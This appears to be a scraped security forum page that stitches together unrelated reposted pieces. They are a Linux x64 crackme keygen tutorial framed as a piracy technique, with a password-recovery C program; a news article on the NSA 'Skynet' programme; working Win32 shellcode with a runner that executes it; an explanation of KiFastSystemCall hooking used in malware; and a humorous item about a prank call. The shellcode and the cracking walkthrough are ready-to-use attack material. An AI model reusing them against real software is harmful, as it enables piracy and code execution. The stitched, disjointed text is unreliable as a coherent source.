Search the Community

Keygenning is a process of finding a valid key for a program. It is used for cracking/piracy. Most of the cracking has been documented on x86, there haven’t been many articles on x64 cracking. In this article, we will show you how to keygen a Linux x64 bit application on a Linux computer. For purpose we will use 1: Linux machine ( 64bit mint box) 2: EDB debugger 3: IDA Disassembler 4: Compiler to write a key generator 5: Fill out the form below for the files associated with this article Let’s run file command to check the type of file. file r5 r5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=86bf854ce620288567d153883d4609163485d34d, not stripped From the output, we see the build version, and it is a dynamically linked file. ~/Desktop $ nm r5 0000000000601109 B __bss_start 00000000006010e0 D buf 000000000040069d T check_password 0000000000601109 b completed.6972 0000000000601060 D __data_start 0000000000601060 W data_start 00000000006010a0 D delta 00000000004005e0 t deregister_tm_clones 0000000000400650 t __do_global_dtors_aux 0000000000600e18 t __do_global_dtors_aux_fini_array_entry 0000000000601068 D __dso_handle 0000000000600e28 d _DYNAMIC 0000000000601109 D _edata 0000000000601110 B _end 0000000000400894 T _fini 0000000000400670 t frame_dummy 0000000000600e10 t __frame_dummy_init_array_entry 0000000000400a80 r __FRAME_END__ 0000000000601000 d _GLOBAL_OFFSET_TABLE_ w __gmon_start__ 0000000000400500 T _init 0000000000600e18 t __init_array_end 0000000000600e10 t __init_array_start 00000000004008a0 R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable 0000000000600e20 d __JCR_END__ 0000000000600e20 d __JCR_LIST__ w _Jv_RegisterClasses 0000000000400890 T __libc_csu_fini 0000000000400820 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.5 00000000004007b6 T main 0000000000601080 D master U printf@@GLIBC_2.2.5 U puts@@GLIBC_2.2.5 U random@@GLIBC_2.2.5 0000000000400610 t register_tm_clones 00000000004005b0 T _start U strcmp@@GLIBC_2.2.5 U strcpy@@GLIBC_2.2.5 U strlen@@GLIBC_2.2.5 0000000000601110 D __TMC_END__ x64 assembly basics x64 consists of extended register set and some extra instructions are added as well. Following is the list of added registers in x64 r8, r9 , r10, r11, r12, r13, r14, r15 Lower 32 bits of r8 can be accessed by r8d, lower 16 bits can be accessed by r8w and lower 8 bits can be accessed by rb8 and more over RIP (instruction pointer) can be directly accessed. All the register in x64 are 64bit in sizes . RIP is also 64bit but Current implementations only support 48 bit linear addresses. In addition to normal registers it also added SSE registers namely from xmm8 – xmm15 If any data movement operation is performed on EAX, it zero extends the higher 32 bits of RAX register. Some added instructions are lodsq, stosq etc. For the purpose of debugging, we will use an x64 debugger known as EDB on Linux. This debugger is similar to ollydbg (windows) and is quite easy to use .Following is the default pane of EDB Argument passing in x64 is quite different from x86 itself Arguments are passed in registers RDI, RSI, RDX, RCX, r8 and r9 rest of the parameters are passed on the stack Navigation is simple just like ollydbg Running our crackme file just like that gives us the following output /Desktop $ ./r5 Usage: ./r5 password Maybe plaintext isn’t good after all. Which gives us a hint that it requires a password, which we have to figure out Opening it in a disassembler gives us an idea of what is happening around. Apparently it is looking for a parameter and is passing it to a function Clearly you can see that it passing argv[1] as a parameter to function check_password() The first hint is about the length of the input string, which should be equal to the length of “this_is_not_even_interesting_its_garbage” .data:00000000006010E0 ; char buf[] .data:00000000006010E0 buf db 'this_is_not_even_interesting_its_garbage',0 .data:00000000006010E0 ; DATA XREF: check_password+1C#o .data:00000000006010E0 ; check_password+3C#o ... .data:00000000006010E0 _data ends .data:00000000006010E0 .bss:0000000000601109 ; =========================================================================== and is checked here call _strlen ; Call Procedure mov rbx, rax mov edi, offset buf ; “this_is_not_even_interesting_its_garbag”… call _strlen ; Call Procedure cmp rbx, rax ; Compare Two Operands jz short Go ; Jump if Zero (ZF=1) After that, this string is replaced by our own input string mov rax, [rbp+passcode] mov rsi, rax ; src mov edi, offset buf ; "this_is_not_even_interesting_its_garbag"... call _strcpy ; Call Procedure mov [rbp+VarCheck], 1 jmp loc_400791 ; Jump After this operation program goes in a loop and loop body is skipped if value at index of variable delta is zero movzx eax, delta[rax] ; If not, it performs some mathematical operations on the input strings leveraging on delta and other parameters which can be represented in C language as x = (random() % delta[index] ) + 1; delta[index] = delta[index] - x; var_check = var_check ^ (unsigned int )delta[index] ; random() call is not initialized with srand() so it can be predicted easily. Finally, after the 40 rounds of loop, the mutated string is compared against “this_aint_that_simple_but_good_luck_haha” and if it is equal, “password OK” message is printed Now to calculate that string we can perform the exact opposite on this string to get out key We can use the following C program to do so. #include <stdio.h> unsigned char delta[] = { 3, 253, 3, 249, 0, 3, 6, 0, 241, 0, 250, 7, 22, 235, 8, 252, 246, 2, 254, 243, 4, 19, 1, 234, 237, 15, 253, 240, 242, 15, 12, 243, 241, 12, 7, 0, 5, 14, 10, 4, }; unsigned char buff [48] ; int main(int argc, char **argv) { int index = 0; int var_check = 1; unsigned char x = '\x00'; strcpy(buff, "this_aint_that_simple_but_good_luck_haha"); while ( var_check ) { index = 0; var_check = 0; while ( index < 40) { if (delta[index]) { x = (random() % delta[index] ) + 1; delta[index] = delta[index] - x; var_check = var_check ^ (unsigned int )delta[index] ; buff[index] = buff[index] + x; } // if zero index++; } } printf("%s\n", buff); } Compiling and running this program gives us the following output: “well_done_now_go_on_irc_and_ask_for_more” ~/Desktop $ ./r5 “well_done_now_go_on_irc_and_ask_for_more” password OK Source

WE’VE SUSPECTED IT all along—that Skynet, the massive program that brings about world destruction in the Terminator movies, was just a fictionalization of a real program in the hands of the US government. And now it’s confirmed—at least in name. As The Intercept reports today, the NSA does have a program called Skynet. But unlike the autonomous, self-aware computerized defense system in Terminator that goes rogue and launches a nuclear attack that destroys most of humanity, this one is a surveillance program that uses phone metadata to track the location and call activities of suspected terrorists. A journalist for Al Jazeera reportedly became one of its targets after he was placed on a terrorist watch list. Ahmad Muaffaq Zaidan, bureau chief for Al Jazeera’s Islamabad office, got tracked by Skynet after he was identified by US intelligence as a possible Al Qaeda member and assigned a watch list number. A Syrian national, Zaidan has scored a number of exclusive interviews with senior Al Qaeda leaders, including Osama bin Laden himself. Skynet uses phone location and call metadata from bulk phone call records to detect suspicious patterns in the physical movements of suspects and their communication habits, according to a 2012 government presentation The Intercept obtained from Edward Snowden. The presentation indicates that Skynet looks for terrorist connections based on questions such as “who has traveled from Peshawar to Faisalabad or Lahore (and back) in the past month? Who does the traveler call when he arrives?” It also looks for suspicious behaviors such as someone who engages in “excessive SIM or handset swapping” or receives “incoming calls only.” The goal is to identify people who move around in a pattern similar to Al Qaeda couriers who are used to pass communication and intelligence between the group’s senior leaders. The program tracked Zaidan because his movements and interactions with Al Qaeda and Taliban leaders matched a suspicious pattern—which is, it turns out, very similar to the pattern of journalists meeting with sources. We should note that the NSA has a second program that more closely resembles the Terminator‘s Skynet. This one is called MonsterMind, as revealed by Edward Snowden last year in an interview with WIRED and James Bamford. MonsterMind, like the film version of Skynet, is a defense surveillance system that would instantly and autonomously neutralize foreign cyberattacks against the US, and could be used to launch retaliatory strikes as well. Under this program algorithms would scour massive repositories of metadata and analyze it to differentiate normal network traffic from anomalous or malicious traffic. Armed with this knowledge, the NSA could instantly and autonomously identify, and block, a foreign threat. Snowden also suggested, however, that MonsterMind could one day be designed to return fire—automatically, without human intervention—against an attacker. Because an attacker could tweak malicious code to avoid detection, a counterstrike would be more effective in neutralizing future attacks. Sounds a lot like Skynet. No word from the NSA on why they didn’t use that iconic film name for its real-world Skynet. Source

/* #[+] Author: TUNISIAN CYBER #[+] Title: Shellcode: win32/xp sp3 Create ("file.txt") (83 bytes) #[+] Date: 15-04-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp 32bit SP3 #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Credits: steve hanna projectshellcode.com ============================= Assembly: ;create.asm [Section .text] BITS 32 global _start _start: jmp short GetCommand CommandReturn: pop ebx xor eax,eax push eax push ebx mov ebx,0x7c8623ad call ebx xor eax,eax push eax mov ebx, 0x7c81cafa call ebx GetCommand: call CommandReturn db "cmd.exe /C echo shellcode by tunisian cyber >file.txt" db 0x00 ============================= */ char shellcode[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff" "\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78" "\x65\x20\x2f\x43\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20\x62\x79" "\x20\x74\x75\x6e\x69\x73\x69\x61\x6e\x20\x63\x79\x62\x65\x72\x20\x3e\x66\x69\x6c\x65\x2e\x74\x78\x74\x00"; int main(int argc, char **argv){int (*f)();f = (int ())shellcode;(int)(*f)();} Source

Usually I don't post things like this, but because KiFastSystemCall hooking only works on x86 systems and doesn't work on Windows 8 or above, it no longer has much use in malware. There are also multiple public implementations for this method, just not very elegant, which I hope to correct. If you haven't read my previous article about this topic, or need a refresher, you can find it here. Performing a System Call KiFastSystemCall has a very strange calling convention (if you can call it that). Each native function (Ex: NtCreateFile) corresponds to a function with the same name in the SSDT. In order to make the transition from user mode to kernel mode, the instruction "sysenter" is used. I don't want to go into great detail on how the sysenter instruction actually enters kernel mode, as that would take up the entire page, but I'll explain the basics: The SSDT is an array of addresses for each native function. The number you see being moved into the eax register is known as its ordinal, and is the position within the SSDT where that functions address is located. When the sysenter instruction is executed the kernel reads the ordinal from eax and uses it to call the corresponding function in the SSDT, before returning execution to usemode. Something important to note is that the native function simply calls KiFastSystemCall and doesn't even set up a stack frame, meaning the address of the first parameter can only be accessed using [esp+8], so we can't just hook KiFastSystemCall with a C function, as this matches no standard calling convention (which is what makes the method so tricky to implement). Dispatching Calls Since the last article I've improved on the dispatching method, which now has two purposes: Determining which native function made the call to KiFastSystemCall, so we can properly handle it. Setting up the stack in such a way that we can access the parameters using plain C. Dispatching Normally we'd hook each individual function we want to intercept with a single handler (proxy), but all native functions call KiFastSystemCall, so we need to think differently. As I explained earlier, the SSDT is an array of addresses and the ordinal (which is in eax when KiFastSystemCall is invoked), corresponds to the position of that function's address within the SSDT. Using this knowledge we can do the same: We create an array of addresses for the the proxy functions and use the ordinal to locate the correct handler using the ordinal in eax. For our SSDT each entry will be 8 bytes, so the handler needs to be placed at our_ssdt[2*ordinal] (in order to get the ordinal for a native function we just read 4 bytes starting at the 2nd byte of the function). You're probably wondering why each entry for our SSDT is 8 bytes, instead of 4; this is because in order to set up the stack before calling the proxy, we need to know how many parameters were passed to KiFastSystemCall (we store the proxy address as the first 4 bytes and the number of parameter as the rest). Preparing the Stack When KiFastSystemCall is invoked, there are two return addresses between the stack pointer and the function parameters (the return from KiFastSystemCall to the native function and the return from the native function). In order to call the proxy function we will get the number of parameter for the function from our_ssdt[2*ordinal+4] and push them to the stack again, in stdcall format (the proxy function is responsible for removing them from the stack). The last thing that is pushed to the stack before we call the proxy is the eax register (the ordinal), we will need this later if we wish to call the original, non hooked, version of KiFastSystemCall. The Code FstHook - This is my own C library which allows a program to easily hook any number of native function using a single hook on KiFastSystemCall. https://github.com/MalwareTech/FstHook/ Source

wow!

Telecoms security has been in and out of the headlines for almost two years now, ever since patriot/traitor/hero/villain (delete as your opinion dictates) Edward Snowden revealed the PRISM campaign and the rest in 2013. We've since learned that GCHQ has a pretty tight grip on the communications flowing around the UK and the rest of the world. So you'd think the folks at the top at GCHQ and the government would be adept at keeping their own comms secure. Not so, it seems. Sneak was amused to read that David Cameron received a prank phone call from someone who managed to bypass the switchboard security (the mind boggles as to how) and was given the mobile phone number of the head of GCHQ, Sir Robert Hannigan. Cameron explained that the hoax call took place while he was out for a walk, and was told, presumably by a government switchboard operator with a heavy case of 'Sunday afternoon lull', that he was being put into a conference call from Hannigan. Cameron, however, was not taken in and said he was immediately suspicious when the caller said sorry for 'waking him up' at the start of the call. Sneak knows politicians are often characterised as lazy, feckless types, but even he wouldn't have thought Cameron was in bed at 11am on a Sunday. "I thought that was strange as it was eleven o'clock in the morning," Cameron said, with James Bond-like calm. He then confirmed that he ended the call without revealing any national security information, such as Trident's tactical nuke launch codes, his inner thigh measurements or the location of the Holy Grail. Phew. Source